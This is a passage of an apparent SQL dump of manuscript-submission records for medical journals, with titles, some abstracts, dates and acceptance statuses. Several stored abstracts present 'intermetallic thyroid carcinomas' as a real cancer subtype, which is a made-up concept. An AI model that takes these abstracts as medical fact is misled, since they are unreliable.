avenues','',5428,NULL,'2024-01-02',NULL,'Submitted',2,NULL,'2024-03-18',NULL,1,1,'0','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14391,14440,959,0,'ipacr-24-14391','Intermetallic Thyroid Carcinomas: Unveiling the Molecular Landscape and Therapeutic Insights',NULL,12,0,'','The thyroid gland, situated in the neck, plays a crucial role in maintaining homeostasis by producing thyroid hormones. Despite its significance, the thyroid is susceptible to various pathological conditions, including cancer. Thyroid carcinomas are broadly categorized into different subtypes, each exhibiting distinct clinical behaviors. Intermetallic thyroid carcinomas represent a subset characterized by specific molecular features that set them apart from other thyroid malignancies. Thyroid carcinomas constitute a heterogeneous group of malignancies that arise from the thyroid gland, a vital endocrine organ responsible for regulating metabolism. Among the various types of thyroid cancers, intermetallic thyroid carcinomas stand out as a distinct subgroup with unique molecular characteristics and clinical implications. In this comprehensive exploration, we delve into the intricate world of intermetallic thyroid carcinomas, unraveling their molecular underpinnings, diagnostic challenges, and potential therapeutic avenues','',5428,NULL,'2024-01-02',NULL,'Submitted',2,NULL,'2024-03-18',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14398,14447,959,0,'ipacr-24-14398','Transitions in Cancer: Unveiling the Inter-Metallic Symphony',NULL,12,0,'','Cancer, a complex and multifaceted group of diseases characterized by uncontrolled cell growth, stands as one of the most formidable challenges in modern medicine. The journey from a healthy cell to a cancerous one involves intricate transitions, akin to the harmonious interplay of metals forming inter-metallic compounds. In this exploration, we delve into the various facets of cancer transitions, uncovering the molecular intricacies, diagnostic advancements, and promising therapeutic avenues','',5428,NULL,'2024-01-02',NULL,'Submitted',2,NULL,'2024-02-27',NULL,1,1,'1','accepte to publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(14399,14448,45,0,'iphsj-24-14399','Knowledge, Attitude and Practice of Blood Donation Among Health Science Students in a Selected Private University in Somalia',NULL,14,0,'','Background information: - Donating blood is an act that can save the lives of thousands of people worldwide.\r\nObjective: - To assesses the knowledge, attitude and practice of blood donation among public health student in east Africa university (EAU) \r\nMethodology: A cross sectional study was conducted from January, 1 to 20, 2022 among public health students. A total of 40 public students were selected using simple random sampling. Data was collected using pre tested, structured questionnaire. Data was cleaned, edited and entered in to a computer and analyzed using SPSS V21. Confidence interval was 95% with P value of 0.05.\r\nResult: 40 regular public health students which are sampled from all public health student   of East Africa university in the academic years of 2019, 2020, and 2021 participated. Overall, the socio-demographic variables showed that: 59%. Analysis of the knowledge level of students about blood donation revealed that: 90% of them had good knowledge and 10% had poor level of knowledge regarding blood donation. Public health respondents (18 out of 40) of participants had Positive attitudes which reveals (45%) had a good attitude of blood donation said blood donation is good; whereas said bad (9out of 40) which indicate (22.5%) had negative attitudes. While natural answered (5 out of 40) which reveal 12.5% believe blood neutral. I don’t know answered (8-40) which shows 20% of the don’t have any attitude about blood donation. \r\nConclusion: 45% of public health student have positive attitude toward blood donation and all of the student are willing to donate in the future voluntary (14 out of 40) answered that they were not donated blood which indicate 35% of the responders never donate blood before and the major reason is lack of opportunity, medical illness and not knowing the reason. \r\n-  Out of the total study (26 out of 40) answered that they were donated blood which means 65% of the students was donated blood before   and 55% of them donated blood voluntarily.\r\nRecommendation: Awareness creation should be given to student in high school and higher institutions. Blood donation campaign should be given to student, Possible opportunity should be given that help the student to donate voluntarily. Since East Africa University (EAU), branch blood bank at all regions of Puntland Somalia has no access available electricity at any time, in collaboration with of ministry of Health (MOH) and East Africa University (EAU), it is better to recommend to open “mini blood bank” \r\n','Knowledge, Attitude, Practice, Blood, Garowe, Somalia ',651,NULL,'2024-01-03',NULL,'Submitted',2,NULL,'2024-01-22',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(14400,14449,971,0,'ipaclr-24-14400','Research on Suicide using Big Data: Current Situation and Recommendation',NULL,3,1,'Emerging research on Health care','','',59161,NULL,'2024-01-03',NULL,'Submitted',2,NULL,'2024-02-01',NULL,1,1,'0','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(14401,14450,45,0,'iphsj-24-14401','Covid 19 Treatment by Harpal S. Mangat MD',NULL,6,0,'','  ','',5388,NULL,'2024-01-03',NULL,'Submitted',2,NULL,'2024-01-12',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14403,14452,277,0,'ipadm-24-14403','Navigating the Front Lines: The Vital Role of Emergency Medicine in Critical Care',NULL,25,0,'','','',5023,NULL,'2024-01-04',NULL,'Submitted',2,NULL,'2024-01-19',NULL,1,1,'1','Accepted to publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(14404,14453,277,0,'ipadm-24-14404','Unlocking Oral Medicine: The Gateway to Comprehensive Healthcare',NULL,25,0,'','','',5023,NULL,'2024-01-04',NULL,'Submitted',2,NULL,'2024-01-18',NULL,1,1,'1','Accepted to publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(14405,14454,277,0,'ipadm-24-14405','Revolutionizing Healthcare: The Promise of Regenerative Medicine in Healing Chronic Diseases',NULL,25,0,'','','',5022,NULL,'2024-01-04',NULL,'Submitted',2,NULL,'2024-01-18',NULL,1,1,'1','Accepted to publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(14407,14456,277,0,'ipadm-24-14407','Breaking New Ground: How Regenerative Medicine Offers Hope for Tissue Regeneration and Organ Repair',NULL,25,0,'','','',5022,NULL,'2024-01-04',NULL,'Submitted',2,NULL,'2024-01-18',NULL,1,1,'1','Accepted to publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(14408,14451,73,0,'ipjnn-24-14408','Commentary on Importance of Randomized Controlled Trials',NULL,3,1,'Current Neurology and Neuroscience Report','','',327,NULL,'2024-01-05',NULL,'Submitted',15,NULL,'2024-01-06',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14409,14457,996,0,'ipar-24-14409','Unraveling the Enigma of Ankylosing Spondylitis: A Comprehensive Exploration',NULL,12,0,'','','',5065,NULL,'2024-01-05',NULL,'Submitted',2,NULL,'2024-01-31',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14410,14458,996,0,'ipar-24-14410','The Architectural Marvel of the Human Body: A Comprehensive Exploration of Bone Structure and Function',NULL,12,0,'','','',59129,NULL,'2024-01-05',NULL,'Submitted',2,NULL,'2024-01-31',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14411,14459,996,0,'ipar-24-14411','Bursitis Unveiled: Navigating the Causes, Symptoms, Diagnosis, and Treatment of Joint Inflammation',NULL,12,0,'','','',59129,NULL,'2024-01-05',NULL,'Submitted',2,NULL,'2024-01-31',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14412,14460,996,0,'ipar-24-14412','Unveiling the Agony: Understanding Calf Muscle Pain, Causes, Treatments, and Prevention Strategies',NULL,12,0,'','','',59166,NULL,'2024-01-05',NULL,'Submitted',2,NULL,'2024-01-31',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14413,14461,996,0,'ipar-24-14413','Navigating the Abyss: A Comprehensive Exploration of Chronic Knee Pain - Causes, Symptoms, Diagnosis, and Treatment Strategies',NULL,12,0,'','','',59130,NULL,'2024-01-05',NULL,'Submitted',2,NULL,'2024-01-31',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14414,14462,996,0,'ipar-24-14414','Lumbar Pain Unveiled: A Comprehensive Exploration of Dolor Lumbar - Causes, Symptoms, Diagnosis, and Effective Management',NULL,12,0,'','','',59164,NULL,'2024-01-05',NULL,'Submitted',2,NULL,'2024-01-31',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14415,14463,996,0,'ipar-24-14415','Glucosamine Unveiled: Exploring the Benefits, Risks, and Mechanisms of this Joint Health Supplement',NULL,12,0,'','','',59129,NULL,'2024-01-05',NULL,'Submitted',2,NULL,'2024-01-31',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14417,14465,85,0,'iphspr-24-14417','Equity in Vaccination: A Comprehensive Analysis of Federal Policies - Immunization Information Systems and Child Care Vaccination Laws - Impacting Immunization Uptake across Age Groups',NULL,15,0,'','Vaccination is an essential health service that is needed across all age groups. Children, however, form the population that most needs and are mostly considered in national vaccination programs (Bhatti et al, 2022). Despite the incalculable benefit of vaccination, inequities exist in its implementation. Immunization inequity causes negative healthcare outcomes for both individuals and whole populations (National Vaccine Advisory Committee, 2021). Childhood vaccinations are one of the earliest portals of health care. Inequalities in childhood vaccination programs lead to inequities in vaccine uptake in adulthood. Policies have been spearheaded by the federal government to bridge the gaps in vaccination rates nationally. Two such strongly supported policies are the Immunization Information Systems (IIS) and Child Care Vaccination Laws (Bhatti et al, 2022; National Vaccine Advisory Committee, 2021; Martin et al, 2015). This report examines these policies in light of the available supporting evidence. The evidence shows that the implantation of these policies varies across different states with attendant effects on vaccination rates. The shortfall of policy implementation was laid bare by the COVID-19 pandemic. Federal policy, with robust support, predicts higher vaccination rates. The Immunization Infrastructure Modernization Act aims to strengthen IIS, ensuring equitable upgrades.','',3282,NULL,'2024-01-06',NULL,'Submitted',2,NULL,'2024-02-03',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(14418,14466,959,0,'ipacr-24-14418','Transitions in Cancer Care: Navigating the Journey with Hope and Resilience',NULL,12,0,'','Cancer, a formidable adversary, disrupts not only the physical well-being of individuals but also introduces a cascade of emotional and psychological challenges. The journey through cancer care is a series of transitions, each phase marked by unique experiences, uncertainties, and transformations. Understanding and navigating these transitions are crucial for patients, caregivers, and healthcare professionals alike, as they collectively strive to provide holistic support and foster resilience in the face of adversity','',5428,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-25',NULL,1,1,'1','accept to published',0,NULL,NULL,NULL,0,0,0,NULL,0),(14419,14467,959,0,'ipacr-24-14419','Thyroid Cancer: Understanding the Disease, Risk Factors, Diagnosis, and Treatment',NULL,12,0,'','Thyroid cancer is a type of cancer that originates in the cells of the thyroid gland, a butterfly-shaped organ located in the front of the neck, just below the Adam\'s apple. The thyroid gland plays a crucial role in regulating metabolism by producing hormones that control various bodily functions. While thyroid cancer is relatively rare compared to other types of cancer, its incidence has been steadily increasing over the past few decades','',59116,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-25',NULL,1,1,'1','accept to published',0,NULL,NULL,NULL,0,0,0,NULL,0),(14420,14468,959,0,'ipacr-24-14420','Understanding Hormonal Thyroid Regulation: A Comprehensive Overview',NULL,12,0,'','The thyroid gland, a small butterfly-shaped organ located at the base of the neck, plays a crucial role in regulating various physiological processes within the body. One of the key aspects of thyroid function is its hormonal control, which involves the production, release, and action of thyroid hormones. This intricate system is vital for maintaining overall health and homeostasis','',5428,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-25',NULL,1,1,'1','accept to published',0,NULL,NULL,NULL,0,0,0,NULL,0),(14421,14469,959,0,'ipacr-24-14421','Understanding Childhood Cancer: Causes, Treatment, and Hope',NULL,12,0,'','Childhood cancer is a devastating and complex medical condition that affects thousands of children worldwide each year. Unlike adult cancers, childhood cancers are relatively rare, but they remain a significant cause of morbidity and mortality among children. This article explores the various aspects of childhood cancer, including its causes, treatment options, and the emotional impact on affected families','',5428,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-25',NULL,1,1,'1','accept to published',0,NULL,NULL,NULL,0,0,0,NULL,0),(14422,14472,959,0,'ipacr-24-14422','Unveiling the Intricacies of the Immune System: A Comprehensive Exploration',NULL,12,0,'','The immune system is a complex and remarkable network of cells, tissues, and organs that work together to defend the body against harmful invaders. Its primary function is to recognize and eliminate pathogens such as bacteria, viruses, fungi, and other foreign substances that could pose a threat to the body\'s health. This intricate system is essential for maintaining homeostasis and protecting the body from infections and diseases','',5428,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-25',NULL,1,1,'1','accept to published',0,NULL,NULL,NULL,0,0,0,NULL,0),(14423,14471,45,0,'iphsj-24-14423','The Impact of Humanitarianism, and Technological Innovations on Global Health',NULL,3,1,'Recent Trends in Health Care','  ','',686,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,1),(14424,14473,45,0,'iphsj-24-14424','The Importance of Mental Health in Managing Chronic Illness',NULL,3,1,'Recent Trends in Health Care',' ','',686,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,1),(14425,14475,45,0,'iphsj-24-14425','The Types of Prevention and their Significance in Health Care System',NULL,11,1,'Recent Trends in Health Care',' ','',686,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,1),(14426,14476,45,0,'iphsj-24-14426','Purpose and the Applications of Telepsychiatry',NULL,11,1,'Recent Trends in Health Care',' ','',686,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,1),(14427,14477,959,0,'ipacr-24-14427','Understanding Breast Cancer: Causes Detection Treatment and Beyond',NULL,12,0,'','Breast cancer is a complex and multifaceted disease that affects millions of women worldwide, making it the most prevalent cancer among women. Despite advancements in medical research and treatment options, breast cancer remains a significant health concern. This comprehensive exploration delves into the causes, detection methods, treatment modalities, and ongoing research efforts aimed at combating this formidable adversary','',5428,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-03-18',NULL,1,1,'0','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14428,14478,996,0,'ipar-24-14428','Unraveling the Tapestry of Joint Pain: Causes, Symptoms, Diagnosis, and Effective Management',NULL,12,0,'','','',59129,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-31',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14429,14479,996,0,'ipar-24-14429','Supporting Stability: The Comprehensive Guide to Knee Braces - Types, Benefits, and Choosing the Right One',NULL,12,0,'','','',59130,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-31',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14430,14480,959,0,'ipacr-24-14430','Understanding Testicular Cancer: Causes, Symptoms Diagnosis Treatment and Prevention',NULL,12,0,'','Testicular cancer is a relatively rare but serious form of cancer that develops in the testicles, the male reproductive organs responsible for producing sperm and testosterone. Despite its lower incidence compared to other cancers, it predominantly affects young men aged 15 to 35. This article aims to provide a comprehensive overview of testicular cancer, covering its causes, symptoms, diagnosis, treatment options, and preventive measures the importance of early detection can encourage proactive healthcare behavior','',5428,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-25',NULL,1,1,'1','accepted to published',0,NULL,NULL,NULL,0,0,0,NULL,0),(14431,14481,996,0,'ipar-24-14431','Unveiling the Mysteries of Lupus: A Comprehensive Exploration of Causes, Symptoms, Diagnosis, and Management',NULL,12,0,'','','',59168,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-31',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14432,14482,959,0,'ipacr-24-14432','Advancements in Cancer Treatment: Beyond Chemotherapy',NULL,12,0,'','Cancer remains a formidable challenge in the field of medicine, affecting millions of lives globally. While chemotherapy has been a cornerstone in cancer treatment for decades, recent advancements have paved the way for a more targeted and personalized approach. This article explores the limitations of traditional chemotherapy and delves into innovative strategies and therapies that are reshaping the landscape of cancer treatment','',5428,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-25',NULL,1,1,'1','accept to published',0,NULL,NULL,NULL,0,0,0,NULL,0),(14433,14484,959,0,'ipacr-24-14433','Advancements in Radiotherapy: A Comprehensive Review',NULL,12,0,'','Radiotherapy, also known as radiation therapy, is a crucial component in the treatment of various cancers. It involves the use of high doses of ionizing radiation to target and destroy cancer cells. Over the years, significant advancements in radiotherapy techniques, technology, and research have improved its efficacy and minimized adverse effects. This comprehensive review will delve into the historical context of radiotherapy, current state-of-the-art technologies, emerging trends, and the future landscape of this vital cancer treatment modality','',59116,NULL,'2024-01-08',NULL,'Submitted',14,NULL,'2024-03-18',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14434,14485,959,0,'ipacr-24-14434','Monoclonal Antibodies: A Comprehensive Overview',NULL,12,0,'','Monoclonal antibodies (mAbs) have revolutionized the field of medicine, offering targeted and precise therapeutic options for various diseases. These laboratory-engineered molecules mimic the immune system\'s ability to fight off harmful pathogens, making them a versatile tool in diagnostics and treatment. In this comprehensive exploration, we will delve into the origins, development, mechanisms of action, applications, and future prospects of monoclonal antibodies','',5428,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-03-18',NULL,1,1,'0','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14435,14486,251,0,'ipacm-24-14435','The Art and Science of Disinfection: Safeguarding Our Spaces',NULL,3,0,'','','',59169,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-22',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14436,14487,251,0,'ipacm-24-14436','Unraveling the Secrets of Microbial Identification: A Comprehensive Guide to Biochemical Tests',NULL,3,0,'','','',785,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-22',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14437,14488,251,0,'ipacm-24-14437','Immunoassays: Unraveling the Complexity of Immunological Detection',NULL,3,0,'','','',59170,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-22',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14438,14489,251,0,'ipacm-24-14438','Unveiling the Essence of Blood Cultures: A Diagnostic Crucible in Medicine',NULL,3,0,'','','',59171,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-22',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14439,14490,251,0,'ipacm-24-14439','Unraveling the Intricacies of Urine Cultures: A Comprehensive Exploration',NULL,3,0,'','','',779,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-22',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14440,14491,251,0,'ipacm-24-14440','Exploring the Intricacies of Parasitology: Unveiling the Hidden World Within',NULL,3,0,'','','',59172,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14441,14492,251,0,'ipacm-24-14441','Unveiling Zoonoses: Bridging the Gap between Animals and Humans',NULL,3,0,'','','',59173,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14442,14493,251,0,'ipacm-24-14442','Sterilization: A Comprehensive Guide to a Vital Medical Procedure',NULL,12,0,'','','',783,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-22',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14443,14494,251,0,'ipacm-24-14443','Unmasking Nosocomial Infections: A Comprehensive Exploration',NULL,12,0,'','','',783,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-01-22',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14444,14495,251,0,'ipacm-24-14444','Ensuring Laboratory Safety: A Comprehensive Guide',NULL,12,0,'','','',783,NULL,'2024-01-08',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14445,14496,85,0,'iphspr-24-14445','Challenges and Opportunities in Managing Health Human Resources: A Comprehensive Analysis',NULL,12,0,'','','',59103,NULL,'2024-01-09',NULL,'Submitted',2,NULL,'2024-01-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14446,14497,85,0,'iphspr-24-14446','Navigating the Ethical Landscape of Healthcare: A Comprehensive Exploration',NULL,12,0,'','','',59091,NULL,'2024-01-09',NULL,'Submitted',2,NULL,'2024-01-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14447,14498,85,0,'iphspr-24-14447','Revolutionizing Healthcare Delivery: Innovations, Challenges and Future Trends',NULL,12,0,'','','',59091,NULL,'2024-01-09',NULL,'Submitted',2,NULL,'2024-01-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14448,14498,85,0,'iphspr-24-14448','Healthcare Delivery: Innovations, Challenges, and Future Trends',NULL,12,0,'','','',59091,NULL,'2024-01-09',NULL,'Submitted',15,NULL,'2024-04-22',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14449,14499,85,0,'iphspr-24-14449','A Comprehensive Analysis of Health Policy of Strategies and Challenges',NULL,12,0,'','','',3282,NULL,'2024-01-09',NULL,'Submitted',2,NULL,'2024-01-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14450,14500,85,0,'iphspr-24-14450','Enhancing Healthcare through Evidence-based Practice: A Comprehensive approach to Health Systems',NULL,12,0,'','','',2141,NULL,'2024-01-09',NULL,'Submitted',2,NULL,'2024-01-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14451,14501,85,0,'iphspr-24-14451','Integrating Human Resources Management System with Health Care: Optimizing Efficiency and Employee Well-being',NULL,12,0,'','','',59091,NULL,'2024-01-09',NULL,'Submitted',2,NULL,'2024-01-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14452,14502,85,0,'iphspr-24-14452','Health Care Utilization and Mortality: Examining Variations and Implications',NULL,12,0,'','','',59091,NULL,'2024-01-09',NULL,'Submitted',2,NULL,'2024-01-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14453,14503,85,0,'iphspr-24-14453','Analysis of the Health Financing Structure: A Comprehensive Examination',NULL,12,0,'','','',2922,NULL,'2024-01-09',NULL,'Submitted',2,NULL,'2024-01-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14454,14504,85,0,'iphspr-24-14454','Evolving Landscape of eHealth: Transforming Healthcare through Digital Innovation',NULL,12,0,'','','',59091,NULL,'2024-01-09',NULL,'Submitted',2,NULL,'2024-03-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14455,14505,85,0,'iphspr-24-14455','Health Disparities: A Comprehensive approach for a Healthier Society',NULL,12,0,'','','',3242,NULL,'2024-01-09',NULL,'Submitted',2,NULL,'2024-01-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14456,14506,667,0,'iptb-24-14456','Exploring Translational Psychiatry in the Pursuit of Mental Health Advancements',NULL,12,0,'','','',4686,NULL,'2024-01-09',NULL,'Submitted',2,NULL,'2024-02-08',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14457,14507,85,0,'iphspr-24-14457','Revolutionizing Healthcare: The Role of Advanced Health Monitoring Technologies',NULL,12,0,'','','',59091,NULL,'2024-01-09',NULL,'Submitted',2,NULL,'2024-03-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14458,14508,667,0,'iptb-24-14458','Targeted Molecular Therapies in Animals and Humans: A Comparative Study',NULL,12,0,'','','',5430,NULL,'2024-01-09',NULL,'Submitted',2,NULL,'2024-02-07',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14459,14294,667,0,'iptb-24-14459','Revealing Disease Mechanisms: An Excursion into Grasping the Inward Functions of Human Ailments',NULL,12,0,'','','',3322,NULL,'2024-01-09',NULL,'Submitted',2,NULL,'2024-02-07',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14460,14295,667,0,'iptb-24-14460','Advancing Patient Care: The Developing Adoption of Drug Metabolizing Enzyme Genetic Testing by Clinicians',NULL,12,0,'','','',59125,NULL,'2024-01-09',NULL,'Submitted',2,NULL,'2024-02-07',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14461,14509,667,0,'iptb-24-14461','Changing Infection Recognition: The Force of Molecular Diagnostics',NULL,12,0,'','','',5446,NULL,'2024-01-09',NULL,'Submitted',2,NULL,'2024-02-07',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14462,14510,667,0,'iptb-24-14462','Understanding Neuropsychiatric Disorders: Unraveling the Complex Web of Brain and Mind',NULL,12,0,'','','',59124,NULL,'2024-01-09',NULL,'Submitted',2,NULL,'2024-02-07',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14463,14511,667,0,'iptb-24-14463','Understanding Neurotrauma: Causes, Effects and Treatment Approaches',NULL,12,0,'','','',3196,NULL,'2024-01-09',NULL,'Submitted',2,NULL,'2024-02-07',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14464,14512,86,0,'ipaom-24-14464','Unraveling the Underlying Factors of Hypertension in Obese Patients: Beyond the Weighty Culprit',NULL,14,0,'','Hypertension, a prevalent cardiovascular concern, has conventionally been associated with obesity. However, recent research reveals a nuanced relationship, extending beyond simplistic associations with excess weight. This comprehensive investigation delves into the intricate interplay of metabolic, inflammatory, and endocrine factors contributing to hypertension in obese patients, aiming to redefine our understanding within internal medicine.\r\n\r\n',' Hypertension, Obesity, Internal Medicine, Metabolic Syndrome, Inflammation, Insulin Resistance, Adipose Tissue, Renin-Angiotensin System, Personalized Medicine',5013,NULL,'2024-01-10',NULL,'Submitted',11,NULL,'2024-01-18',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(14465,14513,981,0,'ipft-24-14465','Systemic Toxicants: Effects, Sources and Mitigation Strategies',NULL,12,0,'','','',59099,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-02-06',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14466,14514,981,0,'ipft-24-14466','The Interconnected Realms of Pharmacology and Toxicology in Biomedical Science',NULL,12,0,'','','',5438,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-02-06',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14467,14516,981,0,'ipft-24-14467','Understanding Pharmacology: A Cornerstone of Medication and Pharmaceutical Sciences',NULL,12,0,'','','',59098,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-02-06',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14468,14517,981,0,'ipft-24-14468','Unraveling the Mysteries of Pharmacodynamics: Understanding the Impacts of Medications',NULL,12,0,'','','',59181,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-02-06',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14469,14515,975,0,'ipjbs-24-14469','Unraveling the Intricacies of Neurobiology: A Voyage into the Mysteries of the Nervous System',NULL,5,0,'','','',59175,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-02-27',NULL,1,1,'0','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14470,14519,975,0,'ipjbs-24-14470','Oncology: Navigating the Landscape of Cancer Research and Treatment',NULL,3,0,'','','',59176,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-02-27',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14471,14518,981,0,'ipft-24-14471','Exploring the Pharmacokinetics: Examining the Retention, Circulation, Digestion and Discharge',NULL,12,0,'','','',5436,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-02-06',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14472,14519,975,0,'ipjbs-24-14472','Exploring the Fascinating World of Biophysics',NULL,3,0,'','','',59177,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-02-27',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14473,14520,981,0,'ipft-24-14473','Pharmacology: Unraveling the Complex World of Chemicals in Biomedical Science',NULL,12,0,'','','',59098,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-02-06',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14474,14523,981,0,'ipft-24-14474','Realm of Medical and Clinical Toxicology: Understanding, Diagnosing and Treating Poisonings',NULL,12,0,'','','',59099,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-02-06',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14475,14521,975,0,'ipjbs-24-14475','Unveiling the Science of Epidemiology: Understanding the Dynamics of Disease',NULL,12,0,'','','',59178,NULL,'2024-01-10',NULL,'Submitted',2,NULL,'2024-02-27',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14476,14522,975,0,'ipjbs-24-14476','Exploring the Vital Realm of Hematology: Unraveling the Mysteries of 